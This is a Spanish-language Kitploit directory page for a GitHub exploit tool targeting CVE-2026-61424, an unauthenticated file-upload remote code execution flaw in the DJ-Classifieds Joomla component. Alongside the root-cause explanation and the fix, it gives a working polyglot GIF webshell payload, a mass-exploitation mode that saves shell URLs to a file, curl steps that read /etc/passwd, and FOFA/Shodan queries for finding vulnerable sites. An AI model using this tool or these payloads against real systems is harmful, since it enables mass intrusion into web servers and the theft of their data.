Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-61424 — Componente DJ-Classifieds para Joomla: RCE por subida de archivos sin autenticación. Omisión de filtro de 3 cadenas mediante etiquetas cortas de PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2 | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-61424
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónMala ConfiguraciónRed TeamingHerramienta de Acceso Remoto
GitHubshinthink/cve-2026-61424

CVE-2026-61424

Componente DJ-Classifieds para Joomla: RCE por subida de archivos sin autenticación. Omisión de filtro de 3 cadenas mediante etiquetas cortas de PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2

4hace 1 mesAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Python CVE CVSS License

CVE-2026-61424 — DJ-Classifieds <= 3.11.1

Tarea imageupload → Sin autenticación → Bypass del filtro de 3 cadenas (

Resumen

Carga arbitraria de archivos sin autenticación en DJ-Classifieds para Joomla. El endpoint de la tarea imageupload procesa las cargas de archivos sin autenticación y se basa en una lista negra de 3 cadenas (<?php, , ) que se elude trivialmente mediante las etiquetas cortas de apertura de PHP (). Combinado con un GIF políglota, el archivo cargado supera todas las comprobaciones de validación de imagen mientras contiene un webshell PHP totalmente funcional.

eval(
base64
<?=
CampoDetalle
CVECVE-2026-61424
ProductoDJ-Classifieds (extensión de Joomla de DJ-Extensions)
CVSS 4.010.0 (Crítico)
TipoCWE-434 — Carga de archivos sin restricciones
DescubiertoPhil Taylor / mySites.guru — 16 de julio de 2026
ExplotaciónConfirmada en entornos reales antes de la divulgación

Versiones afectadas

EstadoVersión
Vulnerable1.0 — 3.11.1
Corregida3.11.2 (20 de julio de 2026)

Mecanismo de la vulnerabilidad

Causa raíz

El método upload() en administrator/components/com_djclassifieds/lib/djupload.php está mapeado a la tarea imageupload sin comprobación de autenticación y sin validación de token CSRF.

root@kitploit:~
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method

// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check

$name     = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');

// ... writes file to tmp/djupload/<name>

Por qué falla el filtro de seguridad (bypass de 3 cadenas)

El escáner de contenido solo bloquea tres cadenas literales:

root@kitploit:~
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
    die('Malicious file detected');
}

Esto bloquea <?php, eval( y base64 — pero no las etiquetas cortas de apertura de PHP:

root@kitploit:~
<?=system($_GET['c']);?>     ← 0/3 blocked strings → PASSES

Las etiquetas cortas de eco de PHP (<?=) están habilitadas por defecto desde PHP 5.4.

Flujo del ataque

  1. Crea un políglota: cabecera GIF89a válida + <?=system($_GET['c']);?>
  2. Envía un POST a index.php?option=com_djclassifieds&task=imageupload con name=shell.gif
  3. El servidor comprueba: extensión .gif ✓ getimagesize() ✓ sin <?php/eval(/base64 ✓
  4. El archivo se guarda en tmp/djupload/<shell>.gif
  5. Acceso: https://target.com/tmp/djupload/shell.gif?c=id

Archivos fuente verificados

ArchivoFunción
administrator/components/com_djclassifieds/lib/djupload.phpMétodo upload() — sin autenticación, filtro de 3 cadenas
components/com_djclassifieds/controller.phpEnruta la tarea imageupload a upload()
administrator/components/com_djclassifieds/djclassifieds.xmlDivulgación de la versión mediante la etiqueta <version>

Evidencia en los registros del servidor

Sondas de escáner anónimo observadas en entornos reales antes de la divulgación:

root@kitploit:~
POST /index.php?option=com_djclassifieds&task=imageupload
  name=<random>.gif  filename=<random>.gif
  — no cookie, no session, no referer

Instalación

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt

Uso

Objetivo único

root@kitploit:~
python cve_2026_61424.py -t target.com

Explotación masiva

root@kitploit:~
python cve_2026_61424.py -f targets.txt -o shells.txt

Argumentos

FlagDescripciónPor defecto
-t, --targetHost objetivo único—
-f, --fileArchivo con objetivos (uno por línea, comentarios #)—
-o, --outputGuarda las URLs de RCE en un archivo—
--threadsHilos de trabajo para el modo masivo30
--no-cleanupNo eliminar el shell después del RCEFalse
--debugSalida de depuraciónFalse

Prueba de concepto

Objetivo único

root@kitploit:~
$ python cve_2026_61424.py -t target.com

  Host         : target.com
  DJ-Classifieds: YES v3.11.1
  Upload       : YES
  RCE          : YES
  Shell        : https://target.com/tmp/djupload/img_abc123.gif
  Output       : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
  Time         : 2.1s

Explotación manual

root@kitploit:~
# Step 1 — Upload polyglot shell
curl -sk -X POST \
  "https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
  -H "Content-Type: image/gif" \
  --data-binary @polyglot.gif

# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"

# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"

FOFA / Shodan

root@kitploit:~
# DJ-Classifieds component
body="com_djclassifieds"

# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"

# Exposed djupload directory
body="Index of" && body="djupload"

# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"

La corrección (3.11.2)

  1. Autenticación de Joomla añadida — comprobación de invitado JFactory::getUser() antes de upload()
  2. Validación de token CSRF añadida — JSession::checkToken() en la tarea imageupload
  3. Tipos de archivo restringidos — lista blanca de solo imágenes en el servidor (jpg, jpeg, png, gif)
  4. Escaneo de contenido mejorado — detección de patrones PHP adicionales más allá de la lista negra de 3 cadenas

Impacto

  • RCE completo — ejecutar comandos arbitrarios como el usuario del servidor web
  • Acceso persistente — el shell permanece hasta que se elimine manualmente o se limpie el directorio
  • Abuso de contenido — cargar y alojar archivos arbitrarios en un dominio de confianza
  • Agotamiento del disco — capacidad de carga masiva anónima
  • Ataques encadenados — la imagen políglota puede incluirse mediante LFI en otras partes del sitio

Aviso legal

Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas. Úsala únicamente contra sistemas que poseas o para los que tengas permiso explícito de prueba. El autor no asume ninguna responsabilidad por el uso indebido o los daños.


Referencias

RecursoEnlace
IONIX Threat Centerionix.io/threat-center/cve-2026-61424
Descubrimiento de mySites.gurumysites.guru/blog/dj-classifieds-unauthenticated-file-upload
Comunicado de seguridad de DJ-Extensionsdj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release
Registro de CVE.orgcve.org/CVERecord?id=CVE-2026-61424
INCIBE-CERTincibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424

No afiliado con DJ-Extensions ni mySites.guru.

Descargar herramienta